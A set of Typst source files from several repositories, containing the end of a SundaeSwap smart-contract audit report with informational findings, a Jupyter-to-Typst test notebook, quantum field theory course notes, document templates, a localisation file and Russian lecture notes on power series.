description: [
To compute the final amounts to be deposited, change is calculated in two
different ways depending on wich of the assets is the one that has a
change.
However, it is possible to skip the change definition and have simpler
formulas for the final amounts.
],
recommendation: [
For the first case, where there is change in asset B, the deposited B
amount can be directly computed as:
`
pool_state.quantity_b.3rd * user_gives_a / pool_state.quantity_a.3rd
`
To preserve the exact same rounding behavior as the original code,
ceiling division should be used:
`
(pool_state.quantity_b.3rd * user_gives_a - 1) / pool_state.quantity_a.3rd + 1
`
For the second case, where there is change in asset A, the deposited A
amount can be directly defined as `b_in_units_of_a`.
*Proof:* (Rounding details are left out of the proof.)
First, `change` definition can be simplified as follows:
`
change
= // definition of change
quantity_b * (b_in_units_of_a - user_gives_a) / quantity_a
= // definition of b_in_units_of_a
quantity_b * (user_gives_b * quantity_a / quantity_b - user_gives_a) / quantity_a
= // distributive
quantity_b * user_gives_b * quantity_a / quantity_b / quantity_a
- quantity_b * user_gives_a / quantity_a
= // cancel out quantity_a and quantity_b
user_gives_b - quantity_b * user_gives_a / quantity_a
`
Then, deposited B amount is:
`
user_gives_b - change
= // simplified version of change
user_gives_b - (user_gives_b - quantity_b * user_gives_a / quantity_a)
= // math
quantity_b * user_gives_a / quantity_a
`
On the other hand, deposited A amount is
`
user_gives_a - change
= // definition of change
user_gives_a - (user_gives_a - b_in_units_of_a)
= // math
b_in_units_of_a
`
],
resolution: [
Resolved in commit `db5185ca01e3ffdb4c643a651f4b439ddd3d0ae4`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/76")[PR \#76]).
],
),
(
id: [SSW-311],
title: [Asymmetry of deposit operation],
severity: "Info",
status: "Acknowledged",
category: "Theoretical",
commit: "2487900eea2ea1d87f6e8a04707dcf039becd265",
description: [
In abstract, the AMM model is defined over an unordered pair of assets
{A, B}, so all operations are symmetric in term of the roles of A and B.
In Sundae's implementation, the deposit operation is asymmetric at least
for some corner cases, as illustrated in the tests provided in
#link("https://github.com/SundaeSwap-finance/sundae-contracts/tree/francolq/ssw-311")[this branch].
This issue is related to the way that function `do_deposit` is
implemented and the rounding issues that arise when using integer
arithmetics.
The implementation can be easily modified to achieve symmetry.
Our understanding is that this finding is not exploitable beyond rounding
errors.
However, symmetry may be a desirable property as it puts the
implementation much closer to the theoretical model.
],
recommendation: [
If the symmetry property is desired, modify `do_deposit` in a way that it
is guaranteed by the code.
],
resolution: [
*Project team* decided not to resolve this finding.
Current business model and implementation, including the formulas for the
deposit operation, are inherited from SundaeSwap V2 protocol, and were
extensively tested in previous audits.
As the *audit team* we endorse the decision, as this finding is only
informational.
],
),
(
id: [SSW-312],
title: [Optimizable manipulation of output value in `has_expected_pool_value`],
severity: "Info",
status: "Resolved",
category: "Optimization",
commit: "2487900eea2ea1d87f6e8a04707dcf039becd265",
description: [
As stated in a code comment #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/2487900eea2ea1d87f6e8a04707dcf039becd265/validators/pool.ak#L519")[here], each `value.quantity_of`, `value.lovelace_of`, and also `has_exact_token_count` calls traverse the output value. This could be optimized by doing just one traversal of the entire value.
],
recommendation: [
Instead of using `value.quantity_of`, `value.lovelace_of`, and `has_exact_token_count`, we can traverse the output value just once by converting it into a list and then using fold or a recursive function to perform all the needed checks throughout.
],
resolution: [
Resolved in commit `<PASSWORD>`
(#link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/52")[PR \#52]).
],
),
(
id: [SSW-313],
title: [`UpdatePoolFees` doesn't requires the settings UTxO as reference input],
severity: "Info",
status: "Acknowledged",
category: "Redundancy",
commit: "da<PASSWORD> <KEY>",
description: [
The settings UTxO is required as reference input #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L78")[by contract] in both spend Pool redeemers `PoolScoop` and `Manage`.
This in particular means that in both `WithdrawFees` and `UpdatePoolFees` redeemers of the
manage stake script is required as well.
Furthermore, is
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L608")[explicitly looked up in there].
Even though it's needed by `WithdrawFees` logic, for `UpdatePoolFees` logic it is not.
],
recommendation: [
Move the #link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L78")[find_settings_datum]
call from the Pool spend inside the `PoolScoop` branch, and in the manage stake script move
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/validators/pool.ak#L608")[such function call]
inside the `WithdrawFees` branch.
],
resolution: [
*Project team* decided not to resolve this finding in the scope of the
audited version.
As the *audit team* we endorse the decision, since the downside is just
the little extra off-chain work of adding the settings UTxO as
reference input when building the update pool fees transaction.
],
),
(
id: [SSW-314],
title: [`PoolState` not used anymore],
severity: "Info",
status: "Acknowledged",
category: "Redundancy",
commit: "da<PASSWORD> <KEY>",
description: [
Given the merged #link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/78")[PR \#78]
`refactor to use continuations`, the
#link("https://github.com/SundaeSwap-finance/sundae-contracts/blob/da66d15afa9897e6bdb531f9415ddb6c66f19ce4/lib/calculation/shared.ak#L8")[`PoolState` type]
previously used is not needed anymore by the Pool validator.
],
recommendation: [
Remove `PoolState` type definition.
],
resolution: [
*Project team* decided not to resolve this finding in the scope of the
audited version.
As the *audit team* we endorse the decision, as this doesn't impact the
contracts since unused structures are not included in the compilation result.
],
),
))
= Minor issues
In this section we list some issues we found that do not qualify as findings
such as typos, coding style, naming, etc.
We used the Github issues system to report them.
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/issues/37")[typo: continuout -> continuing \#37]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/issues/38")[settings validator: use function to get spent output \#38]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/issues/39")[unnecessary tuple definitions \#39]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/issues/41")[compare_asset_class: camelCase to snake_case \#41]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/issues/44")[testing code: replace "escrow" with "order" in definitions \#44]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/issues/45")[pool validator: unused import TransactionId \#45]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/issues/46")[settings type definition: unused import Output \#46]
= Contributed PRs
In this section we list some code contributions we did, usually as a result of
studying and/or confirming possible findings.
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/48")[New Aiken test for process_orders with 30 shuffled donation orders \#48]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/52")[has_expected_pool_value traverses output value just once \#52]
- #link("https://github.com/SundaeSwap-finance/sundae-contracts/pull/64")[Optimization for count_orders \#64]
|
|
https://github.com/8LWXpg/jupyter2typst | https://raw.githubusercontent.com/8LWXpg/jupyter2typst/master/test/test1.typ | typst | MIT License | #import "template.typ": *
#show: template
#block[
= Jupyter Notebook files
You can create content with Jupyter notebooks.
For example, the content for the current page is contained in {download}`this notebook file <./notebooks.ipynb>`.
```{margin}
If you'd like to write in plain-text files, but still keep a notebook structure, you can write
Jupyter notebooks with MyST Markdown, which are then automatically converted to notebooks.
See [](./myst-notebooks.md) for more details.
```
Jupyter Book supports all Markdown that is supported by Jupyter Notebook.
This is mostly a flavour of Markdown called #link("https://commonmark.org/")[CommonMark Markdown] with minor modifications.
For more information about writing Jupyter\-flavoured Markdown in Jupyter Book, see #link("./markdown.md")[].
== Code blocks and image outputs
Jupyter Book will also embed your code blocks and output in your book.
For example, here\'s some sample Matplotlib code:
]
#block[
#code-block("from matplotlib import rcParams, cycler
import matplotlib.pyplot as plt
import numpy as np
plt.ion()"
, lang: "python", count: 1)
]
#block[
#result-block("<contextlib.ExitStack at 0x22bfe5f6610>")
]
#block[
#code-block("# Fixing random state for reproducibility
np.random.seed(19680801)
N = 10
data = [np.logspace(0, 1, 100) + np.random.randn(100) + ii for ii in range(N)]
data = np.array(data).T
cmap = plt.cm.coolwarm
rcParams['axes.prop_cycle'] = cycler(color=cmap(np.linspace(0, 1, N)))
from matplotlib.lines import Line2D
custom_lines = [Line2D([0], [0], color=cmap(0.), lw=4),
Line2D([0], [0], color=cmap(.5), lw=4),
Line2D([0], [0], color=cmap(1.), lw=4)]
fig, ax = plt.subplots(figsize=(10, 5))
lines = ax.plot(data)
ax.legend(custom_lines, ['Cold', 'Medium', 'Hot']);"
, lang: "python", count: 2)
]
#block[
#image("./img/b1ef304f4ea8aae062af2e630df9d501694020e5.png")
]
#block[
Note that the image above is captured and displayed in your site.
]
#block[
#code-block("# Fixing random state for reproducibility
np.random.seed(19680801)
N = 10
data = [np.logspace(0, 1, 100) + .1*np.random.randn(100) + ii for ii in range(N)]
data = np.array(data).T
cmap = plt.cm.coolwarm
rcParams['axes.prop_cycle'] = cycler(color=cmap(np.linspace(0, 1, N)))
from matplotlib.lines import Line2D
custom_lines = [Line2D([0], [0], color=cmap(0.), lw=4),
Line2D([0], [0], color=cmap(.5), lw=4),
Line2D([0], [0], color=cmap(1.), lw=4)]
fig, ax = plt.subplots(figsize=(10, 5))
lines = ax.plot(data)
ax.legend(custom_lines, ['Cold', 'Medium', 'Hot'])
ax.set(title=\"Smoother linez\")"
, lang: "python", count: 3)
]
#block[
#result-block("[Text(0.5, 1.0, 'Smoother linez')]")
#image("./img/37953a513550fe20bdf6382bcee49b1b8222e73a.png")
]
#block[
```{margin}
For more information on how to do this,
check out the {ref}`layout/sidebar` section.
```
]
#block[
== Removing content before publishing
You can also remove some content before publishing your book to the web.
For reference, {download}`you can download the notebook content for this page <notebooks.ipynb>`.
]
#block[
#code-block("thisvariable = \"none of this should show up in the textbook\"
fig, ax = plt.subplots()
x = np.random.randn(100)
y = np.random.randn(100)
ax.scatter(x, y, s=np.abs(x*100), c=x, cmap=plt.cm.coolwarm)
ax.text(0, .5, thisvariable, fontsize=20, transform=ax.transAxes)
ax.set_axis_off()"
, lang: "python", count: 4)
]
#block[
#image("./img/0f2da86fb745750b416c27db48f2707f5f8e0d1a.png")
]
#block[
You can *remove only the code* so that images and other output still show up.
]
#block[
#code-block("thisvariable = \"this plot *will* show up in the textbook.\"
fig, ax = plt.subplots()
x = np.random.randn(100)
y = np.random.randn(100)
ax.scatter(x, y, s=np.abs(x*100), c=x, cmap=plt.cm.coolwarm)
ax.text(0, .5, thisvariable, fontsize=20, transform=ax.transAxes)
ax.set_axis_off()"
, lang: "python", count: 5)
]
#block[
#image("./img/eccb32055239502029de5d05428de2aa5de06bf7.png")
]
#block[
Which works well if you\'d like to quickly display cell output without cluttering your content with code.
This works for any cell output, like a Pandas DataFrame.
]
#block[
#code-block("import pandas as pd
pd.DataFrame([['hi', 'there'], ['this', 'is'], ['a', 'DataFrame']], columns=['Word A', 'Word B'])"
, lang: "python", count: 6)
]
#block[
#result-block(" Word A Word B
0 hi there
1 this is
2 a DataFrame")
]
#block[
See {ref}`hiding/remove-content` for more information about hiding and removing content.
]
#block[
== Interactive outputs
We can do the same for #emph[interactive] material. Below we\'ll display a map
using #link("https://python-visualization.github.io/folium/")[folium]. When your book is built,
the code for creating the interactive map is retained.
```{margin}
**This will only work for some packages.** They need to be able to output standalone
HTML/Javascript, and not
depend on an underlying Python kernel to work.
```
]
#block[
#code-block("import folium
m = folium.Map(
location=[45.372, -121.6972],
zoom_start=12,
tiles='Stamen Terrain'
)
folium.Marker(
location=[45.3288, -121.6625],
popup='Mt. Hood Meadows',
icon=folium.Icon(icon='cloud')
).add_to(m)
folium.Marker(
location=[45.3311, -121.7113],
popup='Timberline Lodge',
icon=folium.Icon(color='green')
).add_to(m)
folium.Marker(
location=[45.3300, -121.6823],
popup='Some Other Location',
icon=folium.Icon(color='red', icon='info-sign')
).add_to(m)
m"
, lang: "python", count: 7)
]
#block[
#result-block("<folium.folium.Map at 0x22bff8ea690>")
]
#block[
== Rich outputs from notebook cells
]
#block[
Because notebooks have rich text outputs, you can store these in
your Jupyter Book as well! For example, here is the command line help
menu, see how it is nicely formatted.
]
#block[
#code-block("!jupyter-book build --help"
, lang: "python", count: 8)
]
#block[
#result-block("'jupyter-book' ���O�����Υ~���R�O�B�i���檺�{���Χ妸�ɡC
")
]
#block[
And here is an error. You can mark notebook cells as \"expected to error\" by adding a
`raises-exception` tag to them.
]
#block[
#code-block("this_will_error"
, lang: "python", count: 9)
]
#block[
#result-block("[1;31m---------------------------------------------------------------------------[0m
[1;31mNameError[0m Traceback (most recent call last)
Cell [1;32mIn[9], line 1[0m
[1;32m----> 1[0m this_will_error
[1;31mNameError[0m: name 'this_will_error' is not defined")
]
#block[
== More features with Jupyter notebooks
There are many other features of Jupyter notebooks to take advantage of,
such as automatically generating Binder links for notebooks or connecting your content with a kernel in the cloud.
For more information browse the pages in this site, and #link("content:code-outputs")[] in particular.
]
|
https://github.com/lucannez64/Notes | https://raw.githubusercontent.com/lucannez64/Notes/master/.typst-preview.champs_quantiques.typ | typst | #import "template.typ": *
// Take a look at the file `template.typ` in the file panel
// to customize this template and discover how it works.
#show: project.with(
title: "Champs Quantiques",
authors: (
"Lucas",
),
date: "26 Mars, 2023",
)
// We generated the example code below so you can see how
// your document will look. Go ahead and replace it with
// your own content!
= Introduction
La théorie quantique des champs est une branche de la physique théorique qui traite du comportement des particules subatomiques et de leurs interactions. Il s'agit d'une généralisation de la mécanique quantique, qui traite du comportement des atomes et des molécules. La théorie quantique des champs est nécessaire pour comprendre le comportement des particules élémentaires, telles que les électrons, les protons et les neutrons. Elle est également nécessaire pour comprendre le comportement de la lumière, ainsi que le comportement des forces, telles que la force forte et la force faible.
Ce cours est une introduction aux concepts de base de la théorie quantique des champs. Nous discuterons des champs, du lagrangien et des équations d'Euler-Lagrange. Nous discuterons ainsi des différents types de théories quantiques des champs, telles que la théorie du champ de Dirac et la théorie du champ de Klein-Gordon. Nous discuterons de plus des différents types d'équations des champs quantiques, telles que l'équation de Dirac et l'équation de Klein-Gordon.
Ce cours abordera aussi le modèle standard de la physique des particules. Le modèle standard est une théorie très réussie qui décrit le comportement de toutes les particules élémentaires connues. Il décrit pareillement le comportement des forces qui agissent sur ces particules.
= Cours associés
- #link("mecanique_quantique.pdf", "Mécanique Quantique")
Plan of the course:
== 1. Introduction
#label("introduction")
- Briefly introduce Quantum Field Theory and its significance in modern
physics
- A quick overview of what QFT is and how it expands upon Quantum
Mechanics
- The scope and objectives of the paper
== 2. Classical Field Theory
#label("classical-field-theory")
- Review of classical mechanics and fields
- Introduction to Lagrangian and Hamiltonian formalisms
- Derivation of classical field equations
== 3. Quantum Mechanics Review
#label("quantum-mechanics-review")
- Briefly review essential concepts in Quantum Mechanics (QM) relevant
to QFT
- Wave-particle duality
- The Schrödinger equation
- Wavefunctions and probability amplitudes
- Quantum states, superposition, and entanglement
== 4. Fields and Particles in QFT
#label("fields-and-particles-in-qft")
- Introduce the concept of fields and their relation to particles
- Classical fields (e.g., electromagnetic field)
- Quantum fields
- Explain how particles are excitations of their corresponding fields
- The role of fields in QFT
== 5. The Basics of QFT: Canonical Quantization and Path Integral
Formalisms
#label("the-basics-of-qft-canonical-quantization-and-path-integral-formalisms")
- Introduce the process of quantizing a field and its significance in
QFT
- Explain canonical quantization and its properties, including the
commutation relations between fields and their canonical momenta, the
Hamiltonian formulation, etc.
- Discuss the path integral formalism as an alternative quantization
approach. Show how it leads to the same results as canonical
quantization. The path integral is a useful conceptual tool and
relates quantum field theory to statistical mechanics.
== 6. The Klein-Gordon Equation and the Dirac Equation
#label("the-klein-gordon-equation-and-the-dirac-equation")
- Introduce the Klein-Gordon equation as the relativistic counterpart
to the Schrödinger equation
- Explain the significance of the equation in QFT
- Derive the Klein-Gordon equation from classical field theory
- Introduce the Dirac equation and its importance in QFT
- Connect the Dirac field to fermions and the concept of spin
- Relativistic invariance of the Dirac equation
== 7. The Quantization of Fields
#label("the-quantization-of-fields")
- Introduce creation and annihilation operators
- The Fock space and multi-particle states
== 8. Interactions and Perturbation Theory
#label("interactions-and-perturbation-theory")
- Introduce the concept of interactions in QFT
- The role of gauge symmetries in determining interactions
- Introduce perturbation theory as a way to approximate interaction
processes
- Feynman diagrams as a visual representation of particle interactions
== 9. Propagators, Scattering Amplitudes, and Renormalization
#label("propagators-scattering-amplitudes-and-renormalization")
- Discuss propagators and their relation to the scattering matrix and
Feynman diagrams. Propagators encode the core properties of a quantum
field.
- Discuss the issue of infinities in QFT and the need for
renormalization
- Introduce the concept of renormalization and regularization methods
- The physical interpretation of renormalized quantities
- Discuss the definition and calculation of transition rates,
cross-sections, decay rates and scattering amplitudes in more detail
using the path integral and Feynman diagram approaches. These are key
applications of quantum field theory.
== 10. Symmetries, Topology, and Applications
#label("symmetries-topology-and-applications")
- Discuss the relationship between symmetries and conservation laws in
more detail. This includes topics like gauge symmetries, global
symmetries, Noether’s theorem, etc. Symmetries are fundamental to
quantum field theory.
- Discuss the topological aspects of quantum field theory
- Describe some key applications and experimental evidence supporting
QFT
- The Standard Model of particle physics
- Quantum Electrodynamics (QED)
- Quantum Chromodynamics (QCD)
- The Higgs mechanism and the Higgs boson discovery
== 11. Advanced Topics
#label("advanced-topics")
- Discuss the renormalization group and how it relates to phase
transitions and universality. This provides a powerful framework for
studying scale invariance.
- Discuss the lattice formulation of quantum field theory and how it
relates to numerical simulations. This is an important
non-perturbative approach.
- Include open questions like the renormalization of gravity, the
problem of time, the cosmological constant problem, etc. This
highlights some deep challenges in quantum field theory.
== 12. Conclusion
#label("conclusion")
- Summarize the key points and concepts covered in the paper
- Discuss the current state of QFT and its future prospects
- Encourage further study and exploration of QFT
== 1. Introduction
#label("introduction")
Quantum Field Theory (QFT) is a theoretical framework that describes the
behavior of elementary particles and their interactions in terms of
quantum fields. It is a fundamental theory of modern physics that
unifies Quantum Mechanics and Special Relativity, and is crucial for
understanding a wide range of phenomena, from the behavior of subatomic
particles to the properties of materials.
According to the book "Quantum Field Theory and the Standard Model" by
<NAME>, QFT is based on the principles of Quantum Mechanics
and Special Relativity, and it extends the laws of Quantum Mechanics to
the realm of fields, where particles are conceived as excitations of
fields. In QFT, particles and fields are treated as two sides of the
same coin, and the dynamics of particles are described by the properties
of the fields that they interact with.
QFT has played a central role in the development of theoretical physics
in the last century, and it has led to many important discoveries, such
as the prediction of the Higgs boson, the discovery of the strong and
weak nuclear forces, and the formulation of the Standard Model of
particle physics, which is currently the most accurate description of
the known elementary particles and their interactions.
The significance of QFT in modern physics cannot be overstated, and it
is a topic of active research and investigation in theoretical physics.
This paper aims to provide a comprehensive overview of QFT, from its
foundations to its applications, with a focus on clarity and accuracy.
== 2. Classical Field Theory
#label("classical-field-theory")
Classical Field Theory provides a framework for understanding the
behavior of classical fields, such as the electromagnetic field, in
terms of mathematical equations. The mathematical description of
classical fields is typically based on the Lagrangian and Hamiltonian
formalisms.
The Lagrangian for a classical field is typically expressed in terms of
the fields and their derivatives, and the equations of motion are
derived by varying the Lagrangian with respect to the fields. For
example, the Maxwell’s equations, which describe the behavior of the
electromagnetic field, can be derived from the Lagrangian for the
electromagnetic field.
The Maxwell’s equations consist of four equations that describe the
behavior of the electric and magnetic fields in terms of their sources,
which are charges and currents. They are given by:
$ nabla dot.op bold(E) eq rho / epsilon.alt_0 $
$ nabla dot.op bold(B) eq 0 $
$ nabla times bold(E) eq minus frac(diff bold(B), diff t) $
$ nabla times bold(B) eq mu_0 lr((bold(J) plus epsilon.alt_0 frac(diff bold(E), diff t))) $
The first two Maxwell’s equations describe the behavior of the electric
field, while the last two describe the behavior of the magnetic field.
The first equation states that the electric field diverges from charges,
while the second equation states that there are no magnetic monopoles.
The third equation is the Faraday’s law, which states that a changing
magnetic field induces an electric field, and the fourth equation is the
Ampere’s law with Maxwell’s correction, which relates the magnetic field
to the current density and the rate of change of the electric field.
The Lagrangian and Hamiltonian formalisms provide a systematic way of
deriving the equations of motion for fields, and they serve as the
foundation for QFT, which extends the principles of Quantum Mechanics to
fields.
== 3. Quantum Mechanics Review
#label("quantum-mechanics-review")
Quantum Mechanics is a fundamental theory that describes the behavior of
particles at the microscopic level. It is the foundation of Quantum
Field Theory, and a review of essential concepts in QM is necessary to
understand QFT.
According to the book "Principles of Quantum Mechanics" by <NAME>,
the key principles of QM include wave-particle duality, the Schrödinger
equation, wavefunctions and probability amplitudes, quantum states,
superposition, and entanglement.
Wave-particle duality is the concept that particles can exhibit both
wave-like and particle-like behavior, depending on the experimental
setup. The Schrödinger equation is the fundamental equation of QM, which
describes the evolution of a quantum system over time. The wavefunction
is a mathematical function that describes the state of a quantum system,
and the probability amplitude is a complex number that determines the
probability of obtaining a particular measurement outcome. Quantum
states can be in a superposition of multiple states simultaneously, and
entanglement is a phenomenon where particles can be correlated in such a
way that the state of one particle depends on the state of the other,
even if they are far apart.
The Schrödinger equation is given by:
$ i planck.reduce frac(diff, diff t) lr(|psi lr((t)) ⟩ eq H^̂|) psi lr((t)) ⟩ $
where $planck.reduce$ is the reduced Planck constant,
$bar.v psi lr((t)) ⟩$ is the wavefunction of the quantum system at time
$t$, and $H^̂$ is the Hamiltonian operator, which describes the total
energy of the system.
The wavefunction $bar.v psi lr((t)) ⟩$ can be expanded in terms of a
complete set of basis functions, such as the eigenfunctions of the
Hamiltonian operator, which leads to the time-independent Schrödinger
equation:
$ H^̂ lr(|psi_n ⟩ eq E_n|) psi_n ⟩ $
where $bar.v psi_n ⟩$ is an eigenstate of the Hamiltonian with energy
$E_n$.
The probability of measuring a particular observable, such as position
or momentum, is given by the Born rule:
$ P lr((x)) eq lr(|psi lr((x))|)^2 $
where $psi lr((x))$ is the wavefunction evaluated at position $x$.
Quantum Mechanics provides a theoretical framework for understanding the
behavior of particles at the microscopic level, and it serves as the
foundation for QFT, which extends the principles of QM to fields. |
|
https://github.com/catppuccin/typst | https://raw.githubusercontent.com/catppuccin/typst/main/template/main.typ | typst | MIT License | #import "@preview/catppuccin:0.1.0": catppuccin, themes, get-palette
#let theme = sys.inputs.at("flavor", default: themes.mocha)
#show: catppuccin.with(theme)
#let palette = get-palette(theme)
#let colors = palette.colors
#set text(font: "Nunito")
#show heading: it => {
show: text.with(font: "Jellee")
it
}
#show link: it => underline(text(fill: colors.blue.rgb, it))
/*
Everything beyond this point is the document body!
Delete the text below and start enjoying the soothing pastel colors!
*/
= #palette.emoji Catppuccin
This template comes with #text(fill: colors.mauve.rgb, style: "italic", "two") fonts!
- #text(fill: colors.mauve.rgb, font: "Jellee", "Jellee"), the font we all know an love. Nothing really comes close to spelling Catppuccin quite like #text(font: "Jellee", "Catppuccin") does! \[#link("https://hanken.co/products/jellee", "source")\]
- #text(fill: colors.mauve.rgb, weight: "black", "Nunito"), which is a nice, easy-to-read font. I personally feel that it suites the aesthetic well, while coming across as a perfectly usable font! \[#link("https://fonts.google.com/specimen/Nunito", "source")\]
Make sure that, if you want to use the fonts, you compile the document with `--font-path`:
```bash
$ typst compile --font-path "./fonts" main.typ
```
Enjoy this package! I will leave you with this display of the `palette` schema:
// I am just printing the palette here, showing only the first color to reduce clutter!
#let schema = palette
#schema.insert(
"colors",
schema.colors.pairs().fold(
(:),
(acc, (k, v)) => (
acc + if acc == (:) {
((k): v)
} else {
((k): ("...",))
}
),
),
)
#stack(dir: ltr, align(top + center, ```typc get-palette(theme) =```), box[#schema])
|
https://github.com/GermanHeim/Informe-Typst-Template | https://raw.githubusercontent.com/GermanHeim/Informe-Typst-Template/main/template.typ | typst | // The project function defines how your document looks.
// It takes your content and some metadata and formats it.
// Go ahead and customize it to your liking!
#let project(
title: "",
abstract: [],
authors: (),
date: none,
logo: none,
body,
) = {
// Set the document's basic properties.
set document(author: authors, title: title)
set text(font: "New Computer Modern", lang: "es")
show math.equation: set text(weight: 400)
set heading(numbering: "1.1.")
set math.equation(numbering: "(1)")
show figure.where(
kind: table): set figure.caption(position: top)
// Title page.
// The page can contain a logo if you pass one with `logo: "logo.png"`.
v(0.6fr)
if logo != none {
align(right, image(logo, width: 26%))
}
v(9.6fr)
text(1.1em, date)
v(1.2em, weak: true)
text(2em, weight: 700, title)
// Author information.
pad(
top: 0.7em,
right: 20%,
grid(
columns: (1fr,) * calc.min(3, authors.len()),
gutter: 1em,
..authors.map(author => align(start, strong(author))),
),
)
v(2.4fr)
pagebreak()
// Table of contents.
outline(depth: 3, indent: true)
pagebreak()
// Main body.
set par(justify: true)
set page(header: [#set text(11pt);#title #h(1fr) #smallcaps[#date]; #line(length: 100%, stroke: 0.5pt);]) // Header
set page(numbering: "1", number-align: center)
// Abstract page.
align(center)[
#heading(
outlined: false,
numbering: none,
text(0.85em, smallcaps[Resumen]),
)
#abstract
]
pagebreak()
body
} |
|
https://github.com/TGM-HIT/typst-diploma-thesis | https://raw.githubusercontent.com/TGM-HIT/typst-diploma-thesis/main/src/l10n.typ | typst | MIT License | #import "@preview/linguify:0.4.0": set-database as _set_database, linguify
/// *Internal function.* Initializes Linguify with the template's translation file.
///
/// -> content
#let set-database() = _set_database(toml("l10n.toml"))
#let thesis = linguify("thesis")
#let supervisor = linguify("supervisor")
#let performed-in-year = linguify("performed-in-year")
#let submission-note = linguify("submission-note")
#let approved = linguify("approved")
#let declaration-title = linguify("declaration-title")
// #let declaration-text = linguify("declaration-text")
// #let declaration-ai-clause = linguify("declaration-ai-clause")
#let location-date = linguify("location-date")
#let chapter = linguify("chapter")
#let section = linguify("section")
#let abstract = linguify("abstract")
#let figure = linguify("figure")
#let table = linguify("table")
#let listing = linguify("listing")
#let contents = linguify("contents")
#let bibliography = linguify("bibliography")
#let list-of-figures = linguify("list-of-figures")
#let list-of-tables = linguify("list-of-tables")
#let list-of-listings = linguify("list-of-listings")
#let glossary = linguify("glossary")
|
https://github.com/dainbow/MatGos | https://raw.githubusercontent.com/dainbow/MatGos/master/themes/13.typ | typst | #import "../conf.typ": *
= Степенные ряды. Радиус сходимости. Бесконечная дифференцируемость суммы степенного ряда. Ряд Тейлора.
== Бесконечная дифференцируемость суммы степенного ряда
#definition[
Ряд $sum_(n = 0)^oo c_n (z - z_0)^n$, где $seq(start: 0, c) subset CC$ называется
*степенным рядом* с центром в точке $z_0$ и коэффициентами $seq(start: 0, c)$.
]
#definition[
*Радиусом сходимости* степенного ряда $sum_(n = 0)^oo c_n (z - z_0)^n$ называется
#eq[
$R = 1 / (overline(lim)_(n -> oo) root(n, abs(c_n))); quad 0 <= R <= +oo$
]
]
#theorem(
"Коши-Адамара",
)[
Если $R in [0, +oo]$ -- радиус сходимости ряда $sum_(n = 0)^oo c_n (z - z_0)^n$,
то
+ $forall z, abs(z - z_0) < R$ ряд $sum_(n = 0)^oo c_n (z - z_0)^n$ сходится,
притом абсолютно
+ $forall z, abs(z - z_0) > R$ ряд $sum_(n = 0)^oo c_n (z - z_0)^n$ расходится
]
#proof[
+ Пусть $abs(z - z_0) =: r < R$.
Возьмём произвольный $rho in (r, R) => 1 / R < 1 / rho < 1 / r$. По определению
верхнего предела:
#eq[
$exists N in NN : forall n > N : space root(n, abs(c_n)) < 1 / rho$
]
Тогда:
#eq[
$exists N in NN : forall n > N : space abs(c_n (z - z_0)^n) <= (r / rho)^n ; quad r / rho < 1$
]
По теореме Вейерштрасса мы можем ограничить рассматриваемый ряд сходящимя
числовым (геометрическая прогрессия) и всё доказано.
+ Пусть $abs(z - z_0) > R$, то есть $1 / abs(z - z_0) < 1 / R$. Значит по
плотности действительных чисел:
#eq[
$exists epsilon > 0 : space 1 / abs(z - z_0) <= 1 / R - epsilon => abs(z - z_0) >= 1 / (1 / R - epsilon) $
]
По определению верхнего предела:
#eq[
$exists seq(idx: k, n) : forall k in NN : space root(n_k, abs(a_n_k)) > 1 / R - epsilon => \
abs(a_n_k z^(n_k)) >= (1 / R - epsilon)^(n_k) dot (1 / (1 / R - epsilon))^(n_k) >= 1$
]
Получили, что не выполнено необходимое условие сходимости ряда.
]
#theorem(
"Равномерная сходимость степенного ряда",
)[
Если ряд $sum_(n = 0)^oo c_n (z - z_0)^n$ имеет радиус сходимости $R > 0$, то он
сходится равномерно в любом круге $abs(z - z_0) <= r$, где $0 < r < R$
]
#proof[
$abs(z - z_0) = r < R =>$ по теореме Коши-Адамара $sum_(n = 0)^oo c_n (z - z_0)^n$ сходится
абсолютно, то есть $sum_(n = 0)^oo abs(c_n) r^ n$
Тогда для любого $z$ из рассматриваемого круга справедлива оценка
#eq[
$abs(c_n (z - z_0)^n) <= abs(c_n) r^n$
]
А значит по теореме Вейерштрасса имеется равномерная сходимость.
]
#theorem(
"Почленное дифференцирование и интегрирование степенных рядов",
)[
Пусть $f(x) = sum_(n = 0)^oo a_n (x - x_0)^n$, где $abs(x - x_0) < R, R > 0$.
Тогда
+ $f(x)$ бесконечно дифференцируема $forall x, abs(x - x_0) < R$, причём
#eq[
$f^((k))(x) = sum_(n = k)^oo a_n n (n - 1) ... (n - k + 1) (x - x_0)^(n - k)$
]
+ $f(x)$ интегрируема по Риману $forall x, abs(x - x_0) < R$ на отрезке с концами $x_0, x$,
причём
#eq[
$integral_(x_0)^x f(t) dif t = sum_(n = 0)^oo a_n (x - x_0)^(n + 1) / (n + 1)$
]
+ Все степенные ряды, упомянутые в пунктах 1, 2 имеют радиус сходимости $R$.
+ $forall n in NN union {0} : space a_n = (f^((n)) (x_0)) / n!$
]
#proof[
Если мы возьмём $x : abs(x - x_0) = r < R$, то на отрезке $[x_0, x]$ ряд для $f(x)$ сходится
равеномерно, а значит мы можем его почленно интегрировать по теореме об
интегрировании равномерно сходящихся функциональных рядов.
Радиус сходимости дифференцированного (и, вообще говоря, интегрированного) ряда
не меняется, так как $lim_(n -> oo) root(n, n) = 1$. А значит он также
равномерно сходится на $[x_0, x]$, поэтому мы можем применить теорему о
дифференцировании функционального ряда.
